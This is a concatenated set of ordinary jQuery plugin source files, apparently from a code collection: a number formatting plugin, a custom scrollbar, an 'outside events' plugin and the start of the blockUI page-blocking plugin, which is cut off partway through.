if (a == "us" || a == "ae" || a == "eg" || a == "il" || a == "jp" || a == "sk" || a == "th" || a == "cn" || a == "hk" || a == "tw" || a == "au" || a == "ca" || a == "gb" || a == "in") {
d = ".";
b = ","
} else if (a == "de" || a == "vn" || a == "es" || a == "dk" || a == "at" || a == "gr" || a == "br") {
d = ",";
b = "."
} else if (a == "cz" || a == "fr" || a == "fi" || a == "ru" || a == "se") {
b = " ";
d = ","
} else if (a == "ch") {
b = "'";
d = "."
}
return new c(d, b, e)
}
a.formatNumber = function(f, e) {
var e = a.extend({}, a.fn.parse.defaults, e), d = b(e.locale.toLowerCase()), h = d.dec, i = d.group, g = d.neg, c = new String(f);
c = c.replace(".", h).replace("-", g);
return c
};
a.fn.parse = function(d) {
var d = a.extend({}, a.fn.parse.defaults, d), c = b(d.locale.toLowerCase()), i = c.dec, e = c.group, h = c.neg, g = "1234567890.-", f = [];
this.each(function() {
var b = new String(a(this).text());
if (a(this).is(":input"))
b = new String(a(this).val());
while (b.indexOf(e) > -1)
b = b.replace(e, "");
b = b.replace(i, ".").replace(h, "-");
var j = "", k = false;
if (b.charAt(b.length - 1) == "%")
k = true;
for (var d = 0; d < b.length; d++)
if (g.indexOf(b.charAt(d)) > -1)
j = j + b.charAt(d);
var c = new Number(j);
if (k) {
c = c / 100;
c = c.toFixed(j.length - 1)
}
f.push(c)
});
return f
};
a.fn.format = function(c) {
var c = a.extend({}, a.fn.format.defaults, c), e = b(c.locale.toLowerCase()), g = e.dec, d = e.group, f = e.neg, h = "0#-,.";
return this.each(function() {
var o = new String(a(this).text());
if (a(this).is(":input"))
o = new String(a(this).val());
for (var k = "", u = false, b = 0; b < c.format.length; b++)
if (h.indexOf(c.format.charAt(b)) == -1)
k = k + c.format.charAt(b);
else if (b == 0 && c.format.charAt(b) == "-") {
u = true;
continue
} else
break;
for (var m = "", b = c.format.length - 1; b >= 0; b--)
if (h.indexOf(c.format.charAt(b)) == -1)
m = c.format.charAt(b) + m;
else
break;
c.format = c.format.substring(k.length);
c.format = c.format.substring(0, c.format.length - m.length);
while (o.indexOf(d) > -1)
o = o.replace(d, "");
var i = new Number(o.replace(g, ".").replace(f, "-"));
if (m == "%")
i = i * 100;
var e = "", x = i % 1;
if (c.format.indexOf(".") > -1) {
var q = g, n = c.format.substring(c.format.lastIndexOf(".") + 1), j = new String(x.toFixed(n.length));
j = j.substring(j.lastIndexOf(".") + 1);
for (var b = 0; b < n.length; b++)
if (n.charAt(b) == "#" && j.charAt(b) != "0") {
q += j.charAt(b);
continue
} else if (n.charAt(b) == "#" && j.charAt(b) == "0") {
var w = j.substring(b);
if (w.match("[1-9]")) {
q += j.charAt(b);
continue
} else
break
} else if (n.charAt(b) == "0")
q += j.charAt(b);
e += q
} else
i = Math.round(i);
var s = Math.floor(i);
if (i < 0)
s = Math.ceil(i);
var l = "";
if (s == 0)
l = "0";
else {
var p = "";
if (c.format.indexOf(".") == -1)
p = c.format;
else
p = c.format.substring(0, c.format.indexOf("."));
var v = new String(Math.abs(s)), t = 9999;
if (p.lastIndexOf(",") != -1)
t = p.length - p.lastIndexOf(",") - 1;
for (var r = 0, b = v.length - 1; b > -1; b--) {
l = v.charAt(b) + l;
r++;
if (r == t && b != 0) {
l = d + l;
r = 0
}
}
}
e = l + e;
if (i < 0 && u && k.length > 0)
k = f + k;
else if (i < 0)
e = f + e;
if (!c.decimalSeparatorAlwaysShown)
if (e.lastIndexOf(g) == e.length - 1)
e = e.substring(0, e.length - 1);
e = k + e + m;
if (a(this).is(":input"))
a(this).val(e);
else
a(this).text(e)
})
};
a.fn.parse.defaults = {locale: "us",decimalSeparatorAlwaysShown: false};
a.fn.format.defaults = {format: "#,###.00",locale: "us",decimalSeparatorAlwaysShown: false}
})(jQuery) | JavaScript |
/* malihu custom scrollbar plugin - http://manos.malihu.gr */
(function ($) {
$.fn.mCustomScrollbar = function (scrollType,animSpeed,easeType,bottomSpace,draggerDimType,mouseWheelSupport,scrollBtnsSupport,scrollBtnsSpeed){
var id = $(this).attr("id");
var $customScrollBox=$("#"+id+" .customScrollBox");
var $customScrollBox_container=$("#"+id+" .customScrollBox .container");
var $customScrollBox_content=$("#"+id+" .customScrollBox .content_scroll");
var $dragger_container=$("#"+id+" .dragger_container");
var $dragger=$("#"+id+" .dragger");
var $scrollUpBtn=$("#"+id+" .scrollUpBtn");
var $scrollDownBtn=$("#"+id+" .scrollDownBtn");
var $customScrollBox_horWrapper=$("#"+id+" .customScrollBox .horWrapper");
//get & store minimum dragger height & width (defined in css)
if(!$customScrollBox.data("minDraggerHeight")){
$customScrollBox.data("minDraggerHeight",$dragger.height());
}
if(!$customScrollBox.data("minDraggerWidth")){
$customScrollBox.data("minDraggerWidth",$dragger.width());
}
//get & store original content height & width
if(!$customScrollBox.data("contentHeight")){
$customScrollBox.data("contentHeight",$customScrollBox_container.height());
}
if(!$customScrollBox.data("contentWidth")){
$customScrollBox.data("contentWidth",$customScrollBox_container.width());
}
CustomScroller();
function CustomScroller(reloadType){
//horizontal scrolling ------------------------------
if(scrollType=="horizontal"){
var visibleWidth=$customScrollBox.width();
//set content width automatically
$customScrollBox_horWrapper.css("width",999999); //set a rediculously high width value ;)
$customScrollBox.data("totalContent",$customScrollBox_container.width()); //get inline div width
$customScrollBox_horWrapper.css("width",$customScrollBox.data("totalContent")); //set back the proper content width value
if($customScrollBox_container.width()>visibleWidth){ //enable scrollbar if content is long
$dragger.css("display","block");
if(reloadType!="resize" && $customScrollBox_container.width()!=$customScrollBox.data("contentWidth")){
$dragger.css("left",0);
$customScrollBox_container.css("left",0);
$customScrollBox.data("contentWidth",$customScrollBox_container.width());
}
$dragger_container.css("display","block");
$scrollDownBtn.css("display","inline-block");
$scrollUpBtn.css("display","inline-block");
var totalContent=$customScrollBox_content.width();
var minDraggerWidth=$customScrollBox.data("minDraggerWidth");
var draggerContainerWidth=$dragger_container.width();
function AdjustDraggerWidth(){
if(draggerDimType=="auto"){
var adjDraggerWidth=Math.round(totalContent-((totalContent-visibleWidth)*1.3)); //adjust dragger width analogous to content
if(adjDraggerWidth<=minDraggerWidth){ //minimum dragger width
$dragger.css("width",minDraggerWidth+"px");
} else if(adjDraggerWidth>=draggerContainerWidth){
$dragger.css("width",draggerContainerWidth-10+"px");
} else {
$dragger.css("width",adjDraggerWidth+"px");
}
}
}
AdjustDraggerWidth();
var targX=0;
var draggerWidth=$dragger.width();
$dragger.draggable({
axis: "x",
containment: "parent",
drag: function(event, ui) {
ScrollX();
},
stop: function(event, ui) {
DraggerRelease();
}
});
$dragger_container.click(function(e) {
var $this=$(this);
var mouseCoord=(e.pageX - $this.offset().left);
if(mouseCoord<$dragger.position().left || mouseCoord>($dragger.position().left+$dragger.width())){
var targetPos=mouseCoord+$dragger.width();
if(targetPos<$dragger_container.width()){
$dragger.css("left",mouseCoord);
ScrollX();
} else {
$dragger.css("left",$dragger_container.width()-$dragger.width());
ScrollX();
}
}
});
//mousewheel
$(function($) {
if(mouseWheelSupport=="yes"){
$customScrollBox.unbind("mousewheel");
$customScrollBox.bind("mousewheel", function(event, delta) {
var vel = Math.abs(delta*10);
$dragger.css("left", $dragger.position().left-(delta*vel));
ScrollX();
if($dragger.position().left<0){
$dragger.css("left", 0);
$customScrollBox_container.stop();
ScrollX();
}
if($dragger.position().left>$dragger_container.width()-$dragger.width()){
$dragger.css("left", $dragger_container.width()-$dragger.width());
$customScrollBox_container.stop();
ScrollX();
}
return false;
});
}
});
//scroll buttons
if(scrollBtnsSupport=="yes"){
$scrollDownBtn.mouseup(function(){
BtnsScrollXStop();
}).mousedown(function(){
BtnsScrollX("down");
}).mouseout(function(){
BtnsScrollXStop();
});
$scrollUpBtn.mouseup(function(){
BtnsScrollXStop();
}).mousedown(function(){
BtnsScrollX("up");
}).mouseout(function(){
BtnsScrollXStop();
});
$scrollDownBtn.click(function(e) {
e.preventDefault();
});
$scrollUpBtn.click(function(e) {
e.preventDefault();
});
btnsScrollTimerX=0;
function BtnsScrollX(dir){
if(dir=="down"){
var btnsScrollTo=$dragger_container.width()-$dragger.width();
var scrollSpeed=Math.abs($dragger.position().left-btnsScrollTo)*(100/scrollBtnsSpeed);
$dragger.stop().animate({left: btnsScrollTo}, scrollSpeed,"linear");
} else {
var btnsScrollTo=0;
var scrollSpeed=Math.abs($dragger.position().left-btnsScrollTo)*(100/scrollBtnsSpeed);
$dragger.stop().animate({left: -btnsScrollTo}, scrollSpeed,"linear");
}
clearInterval(btnsScrollTimerX);
btnsScrollTimerX = setInterval( ScrollX, 20);
}
function BtnsScrollXStop(){
clearInterval(btnsScrollTimerX);
$dragger.stop();
}
}
//scroll
var scrollAmount=(totalContent-visibleWidth)/(draggerContainerWidth-draggerWidth);
function ScrollX(){
var draggerX=$dragger.position().left;
var targX=-draggerX*scrollAmount;
var thePos=$customScrollBox_container.position().left-targX;
$customScrollBox_container.stop().animate({left: "-="+thePos}, animSpeed, easeType);
}
} else { //disable scrollbar if content is short
$dragger.css("left",0).css("display","none"); //reset content scroll
$customScrollBox_container.css("left",0);
$dragger_container.css("display","none");
$scrollDownBtn.css("display","none");
$scrollUpBtn.css("display","none");
}
//vertical scrolling ------------------------------
} else {
var visibleHeight=$customScrollBox.height();
if($customScrollBox_container.height()>visibleHeight){ //enable scrollbar if content is long
$dragger.css("display","block");
if(reloadType!="resize" && $customScrollBox_container.height()!=$customScrollBox.data("contentHeight")){
$dragger.css("top",0);
$customScrollBox_container.css("top",0);
$customScrollBox.data("contentHeight",$customScrollBox_container.height());
}
$dragger_container.css("display","block");
$scrollDownBtn.css("display","inline-block");
$scrollUpBtn.css("display","inline-block");
var totalContent=$customScrollBox_content.height();
var minDraggerHeight=$customScrollBox.data("minDraggerHeight");
var draggerContainerHeight=$dragger_container.height();
function AdjustDraggerHeight(){
if(draggerDimType=="auto"){
var adjDraggerHeight=Math.round(totalContent-((totalContent-visibleHeight)*1.3)); //adjust dragger height analogous to content
if(adjDraggerHeight<=minDraggerHeight){ //minimum dragger height
$dragger.css("height",minDraggerHeight+"px").css("line-height",minDraggerHeight+"px");
} else if(adjDraggerHeight>=draggerContainerHeight){
$dragger.css("height",draggerContainerHeight-10+"px").css("line-height",draggerContainerHeight-10+"px");
} else {
$dragger.css("height",adjDraggerHeight+"px").css("line-height",adjDraggerHeight+"px");
}
}
}
AdjustDraggerHeight();
var targY=0;
var draggerHeight=$dragger.height();
$dragger.draggable({
axis: "y",
containment: "parent",
drag: function(event, ui) {
Scroll();
},
stop: function(event, ui) {
DraggerRelease();
}
});
$dragger_container.click(function(e) {
var $this=$(this);
var mouseCoord=(e.pageY - $this.offset().top);
if(mouseCoord<$dragger.position().top || mouseCoord>($dragger.position().top+$dragger.height())){
var targetPos=mouseCoord+$dragger.height();
if(targetPos<$dragger_container.height()){
$dragger.css("top",mouseCoord);
Scroll();
} else {
$dragger.css("top",$dragger_container.height()-$dragger.height());
Scroll();
}
}
});
//mousewheel
$(function($) {
if(mouseWheelSupport=="yes"){
$customScrollBox.unbind("mousewheel");
$customScrollBox.bind("mousewheel", function(event, delta) {
var vel = Math.abs(delta*10);
$dragger.css("top", $dragger.position().top-(delta*vel));
Scroll();
if($dragger.position().top<0){
$dragger.css("top", 0);
$customScrollBox_container.stop();
Scroll();
}
if($dragger.position().top>$dragger_container.height()-$dragger.height()){
$dragger.css("top", $dragger_container.height()-$dragger.height());
$customScrollBox_container.stop();
Scroll();
}
return false;
});
}
});
//scroll buttons
if(scrollBtnsSupport=="yes"){
$scrollDownBtn.mouseup(function(){
BtnsScrollStop();
}).mousedown(function(){
BtnsScroll("down");
}).mouseout(function(){
BtnsScrollStop();
});
$scrollUpBtn.mouseup(function(){
BtnsScrollStop();
}).mousedown(function(){
BtnsScroll("up");
}).mouseout(function(){
BtnsScrollStop();
});
$scrollDownBtn.click(function(e) {
e.preventDefault();
});
$scrollUpBtn.click(function(e) {
e.preventDefault();
});
btnsScrollTimer=0;
function BtnsScroll(dir){
if(dir=="down"){
var btnsScrollTo=$dragger_container.height()-$dragger.height();
var scrollSpeed=Math.abs($dragger.position().top-btnsScrollTo)*(100/scrollBtnsSpeed);
$dragger.stop().animate({top: btnsScrollTo}, scrollSpeed,"linear");
} else {
var btnsScrollTo=0;
var scrollSpeed=Math.abs($dragger.position().top-btnsScrollTo)*(100/scrollBtnsSpeed);
$dragger.stop().animate({top: -btnsScrollTo}, scrollSpeed,"linear");
}
clearInterval(btnsScrollTimer);
btnsScrollTimer = setInterval( Scroll, 20);
}
function BtnsScrollStop(){
clearInterval(btnsScrollTimer);
$dragger.stop();
}
}
//scroll
if(bottomSpace<1){
bottomSpace=1; //minimum bottomSpace value is 1
}
var scrollAmount=(totalContent-(visibleHeight/bottomSpace))/(draggerContainerHeight-draggerHeight);
function Scroll(){
var draggerY=$dragger.position().top;
var targY=-draggerY*scrollAmount;
var thePos=$customScrollBox_container.position().top-targY;
$customScrollBox_container.stop().animate({top: "-="+thePos}, animSpeed, easeType);
}
} else { //disable scrollbar if content is short
$dragger.css("top",0).css("display","none"); //reset content scroll
$customScrollBox_container.css("top",0);
$dragger_container.css("display","none");
$scrollDownBtn.css("display","none");
$scrollUpBtn.css("display","none");
}
}
$dragger.mouseup(function(){
DraggerRelease();
}).mousedown(function(){
DraggerPress();
});
function DraggerPress(){
$dragger.addClass("dragger_pressed");
}
function DraggerRelease(){
$dragger.removeClass("dragger_pressed");
}
}
$(window).resize(function() {
if(scrollType=="horizontal"){
if($dragger.position().left>$dragger_container.width()-$dragger.width()){
$dragger.css("left", $dragger_container.width()-$dragger.width());
}
} else {
if($dragger.position().top>$dragger_container.height()-$dragger.height()){
$dragger.css("top", $dragger_container.height()-$dragger.height());
}
}
CustomScroller("resize");
});
};
})(jQuery); | JavaScript |
/*!
* jQuery outside events - v1.1 - 3/16/2010
* http://benalman.com/projects/jquery-outside-events-plugin/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
// Script: jQuery outside events
//
// *Version: 1.1, Last updated: 3/16/2010*
//
// Project Home - http://benalman.com/projects/jquery-outside-events-plugin/
// GitHub - http://github.com/cowboy/jquery-outside-events/
// Source - http://github.com/cowboy/jquery-outside-events/raw/master/jquery.ba-outside-events.js
// (Minified) - http://github.com/cowboy/jquery-outside-events/raw/master/jquery.ba-outside-events.min.js (0.9kb)
//
// About: License
//
// Copyright (c) 2010 "Cowboy" Ben Alman,
// Dual licensed under the MIT and GPL licenses.
// http://benalman.com/about/license/
//
// About: Examples
//
// These working examples, complete with fully commented code, illustrate a few
// ways in which this plugin can be used.
//
// clickoutside - http://benalman.com/code/projects/jquery-outside-events/examples/clickoutside/
// dblclickoutside - http://benalman.com/code/projects/jquery-outside-events/examples/dblclickoutside/
// mouseoveroutside - http://benalman.com/code/projects/jquery-outside-events/examples/mouseoveroutside/
// focusoutside - http://benalman.com/code/projects/jquery-outside-events/examples/focusoutside/
//
// About: Support and Testing
//
// Information about what version or versions of jQuery this plugin has been
// tested with, what browsers it has been tested in, and where the unit tests
// reside (so you can test it yourself).
//
// jQuery Versions - 1.4.2
// Browsers Tested - Internet Explorer 6-8, Firefox 2-3.6, Safari 3-4, Chrome, Opera 9.6-10.1.
// Unit Tests - http://benalman.com/code/projects/jquery-outside-events/unit/
//
// About: Release History
//
// 1.1 - (3/16/2010) Made "clickoutside" plugin more general, resulting in a
// whole new plugin with more than a dozen default "outside" events and
// a method that can be used to add new ones.
// 1.0 - (2/27/2010) Initial release
//
// Topic: Default "outside" events
//
// Note that each "outside" event is powered by an "originating" event. Only
// when the originating event is triggered on an element outside the element
// to which that outside event is bound will the bound event be triggered.
//
// Because each outside event is powered by a separate originating event,
// stopping propagation of that originating event will prevent its related
// outside event from triggering.
//
// OUTSIDE EVENT - ORIGINATING EVENT
// clickoutside - click
// dblclickoutside - dblclick
// focusoutside - focusin
// bluroutside - focusout
// mousemoveoutside - mousemove
// mousedownoutside - mousedown
// mouseupoutside - mouseup
// mouseoveroutside - mouseover
// mouseoutoutside - mouseout
// keydownoutside - keydown
// keypressoutside - keypress
// keyupoutside - keyup
// changeoutside - change
// selectoutside - select
// submitoutside - submit
(function($,doc,outside){
'$:nomunge'; // Used by YUI compressor.
$.map(
// All these events will get an "outside" event counterpart by default.
'click dblclick mousemove mousedown mouseup mouseover mouseout change select submit keydown keypress keyup'.split(' '),
function( event_name ) { jq_addOutsideEvent( event_name ); }
);
// The focus and blur events are really focusin and focusout when it comes
// to delegation, so they are a special case.
jq_addOutsideEvent( 'focusin', 'focus' + outside );
jq_addOutsideEvent( 'focusout', 'blur' + outside );
// Method: jQuery.addOutsideEvent
//
// Register a new "outside" event to be with this method. Adding an outside
// event that already exists will probably blow things up, so check the
// <Default "outside" events> list before trying to add a new one.
//
// Usage:
//
// > jQuery.addOutsideEvent( event_name [, outside_event_name ] );
//
// Arguments:
//
// event_name - (String) The name of the originating event that the new
// "outside" event will be powered by. This event can be a native or
// custom event, as long as it bubbles up the DOM tree.
// outside_event_name - (String) An optional name for the new "outside"
// event. If omitted, the outside event will be named whatever the
// value of `event_name` is plus the "outside" suffix.
//
// Returns:
//
// Nothing.
$.addOutsideEvent = jq_addOutsideEvent;
function jq_addOutsideEvent( event_name, outside_event_name ) {
// The "outside" event name.
outside_event_name = outside_event_name || event_name + outside;
// A jQuery object containing all elements to which the "outside" event is
// bound.
var elems = $(),
// The "originating" event, namespaced for easy unbinding.
event_namespaced = event_name + '.' + outside_event_name + '-special-event';
// Event: outside events
//
// An "outside" event is triggered on an element when its corresponding
// "originating" event is triggered on an element outside the element in
// question. See the <Default "outside" events> list for more information.
//
// Usage:
//
// > jQuery('selector').bind( 'clickoutside', function(event) {
// > var clicked_elem = $(event.target);
// > ...
// > });
//
// > jQuery('selector').bind( 'dblclickoutside', function(event) {
// > var double_clicked_elem = $(event.target);
// > ...
// > });
//
// > jQuery('selector').bind( 'mouseoveroutside', function(event) {
// > var moused_over_elem = $(event.target);
// > ...
// > });
//
// > jQuery('selector').bind( 'focusoutside', function(event) {
// > var focused_elem = $(event.target);
// > ...
// > });
//
// You get the idea, right?
$.event.special[ outside_event_name ] = {
// Called only when the first "outside" event callback is bound per
// element.
setup: function(){
// Add this element to the list of elements to which this "outside"
// event is bound.
elems = elems.add( this );
// If this is the first element getting the event bound, bind a handler
// to document to catch all corresponding "originating" events.
if ( elems.length === 1 ) {
$(doc).bind( event_namespaced, handle_event );
}
},
// Called only when the last "outside" event callback is unbound per
// element.
teardown: function(){
// Remove this element from the list of elements to which this
// "outside" event is bound.
elems = elems.not( this );
// If this is the last element removed, remove the "originating" event
// handler on document that powers this "outside" event.
if ( elems.length === 0 ) {
$(doc).unbind( event_namespaced );
}
},
// Called every time a "outside" event callback is bound to an element.
add: function( handleObj ) {
var old_handler = handleObj.handler;
// This function is executed every time the event is triggered. This is
// used to override the default event.target reference with one that is
// more useful.
handleObj.handler = function( event, elem ) {
// Set the event object's .target property to the element that the
// user interacted with, not the element that the "outside" event was
// was triggered on.
event.target = elem;
// Execute the actual bound handler.
old_handler.apply( this, arguments );
};
}
};
// When the "originating" event is triggered..
function handle_event( event ) {
// Iterate over all elements to which this "outside" event is bound.
$(elems).each(function(){
var elem = $(this);
// If this element isn't the element on which the event was triggered,
// and this element doesn't contain said element, then said element is
// considered to be outside, and the "outside" event will be triggered!
if ( this !== event.target && !elem.has(event.target).length ) {
// Use triggerHandler instead of trigger so that the "outside" event
// doesn't bubble. Pass in the "originating" event's .target so that
// the "outside" event.target can be overridden with something more
// meaningful.
elem.triggerHandler( outside_event_name, [ event.target ] );
}
});
};
};
})(jQuery,document,"outside");
| JavaScript |
var win = window, doc = document;
var jwin = $(win);
var jdoc = $(doc);
win.duration = 600;
win.animating = false; | JavaScript |
/*!
* jQuery blockUI plugin
* Version 2.57.0-2013.02.17
* @requires jQuery v1.7 or later
*
* Examples at: http://malsup.com/jquery/block/
* Copyright (c) 2007-2013 M. Alsup
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* Thanks to Amir-Hossein Sobhi for some excellent contributions!
*/
;(function() {
/*jshint eqeqeq:false curly:false latedef:false */
"use strict";
function setup($) {
$.fn._fadeIn = $.fn.fadeIn;
var noOp = $.noop || function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var msie = /MSIE/.test(navigator.userAgent);
var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
var mode = document.documentMode || 0;
// var setExpr = msie && (($.browser.version < 8 && !mode) || mode < 8);
var setExpr = $.isFunction( document.createElement('div').style.setExpression );
// global $ methods for blocking/unblocking the entire page
$.blockUI = function(opts) { install(window, opts); };
$.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
$.growlUI = function(title, message, timeout, onClose) {
var $m = $('<div class="growlUI"></div>');
if (title) $m.append('<h1>'+title+'</h1>');
if (message) $m.append('<h2>'+message+'</h2>');
if (timeout === undefined) timeout = 3000;
$.blockUI({
message: $m, fadeIn: 700, fadeOut: 1000, centerY: false,
timeout: timeout, showOverlay: false,
onUnblock: onClose,
css: $.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
$.fn.block = function(opts) {
var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
this.each(function() {
var $el = $(this);
if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
return;
$el.unblock({ fadeOut: 0 });
});
return this.each(function() {
if ($.css(this,'position') == 'static') {
this.style.position = 'relative';
$(this).data('blockUI.static', true);
}
this.style.zoom = 1; // force 'hasLayout' in ie
install(this, opts);
});
};
// plugin method for unblocking element content
$.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
$.blockUI.version = 2.57; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
$.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message: '<h1>Please wait...</h1>',
title: null, // title string; only used when theme == true
draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// $.blockUI.defaults.css = {};
css: {
padding: 0,
margin: 0,
width: '30%',
top: '40%',
left: '35%',
textAlign: 'center',
color: '#000',
border: '3px solid #aaa',
backgroundColor:'#fff',
cursor: 'wait'
},
// minimal style set used when themes are used
themedCSS: {
width: '30%',
top: '40%',
left: '35%'
},
// styles for the overlay
overlayCSS: {
backgroundColor: '#000',
opacity: 0.6,
cursor: 'wait'
},
// style to replace wait cursor before unblocking to correct issue
// of lingering wait cursor
cursorReset: 'default',
// styles applied when using $.growlUI
growlCSS: {
width: '350px',
top: '10px',
left: '',
right: '10px',
border: 'none',
padding: '5px',
opacity: 0.6,
cursor: 'default',
color: '#fff',
backgroundColor: '#000',
'-webkit-border-radius':'10px',
'-moz-border-radius': '10px',
'border-radius': '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
/*jshint scripturl:true */
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages. disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn: 200,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut: 400,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
// no longer needed in 2012
// applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
// onUnblock(element, options)
onUnblock: null,
// callback method invoked when the overlay area is clicked.
// setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
onOverlayClick: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4,
// class name of the message block
blockMsgClass: 'blockMsg',
// if it is already blocked, then ignore it (don't unblock and reblock)
ignoreIfBlocked: false
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var css, themedCSS;
var full = (el == window);
var msg = (opts && opts.message !== undefined ? opts.message : undefined);
opts = $.extend({}, $.blockUI.defaults, opts || {});
if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
return;
opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
if (opts.onOverlayClick)
opts.overlayCSS.cursor = 'pointer';
themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;
// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});
// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock
if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;
var data = {};
$(el).data('blockUI.history', data);
data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
$(el).data('blockUI.onUnblock', opts.onUnblock);
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1, lyr2, lyr3, s;
if (msie || opts.forceIframe)
lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
else
lyr1 = $('<div class="blockUI" style="display:none"></div>');
if (opts.theme)
lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
else
lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
if (opts.theme && full) {
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
if ( opts.title ) {
s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
}
s += '<div class="ui-widget-content ui-dialog-content"></div>';
s += '</div>';
}
else if (opts.theme) {
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
if ( opts.title ) {
s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
}
s += '<div class="ui-widget-content ui-dialog-content"></div>';
s += '</div>';
}
else if (full) {
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
}
else {
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
}
lyr3 = $(s);
// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else
lyr3.css(css);
}
// style the overlay
if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
$.each(layers, function() {
this.appendTo($par);
});
if (opts.theme && opts.draggable && $.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && $.support.boxModel)
$('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !$.support.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
$.each(layers, function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
if (full)
s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
else
s.setExpression('height','this.parentNode.offsetHeight + "px"');
if (full)
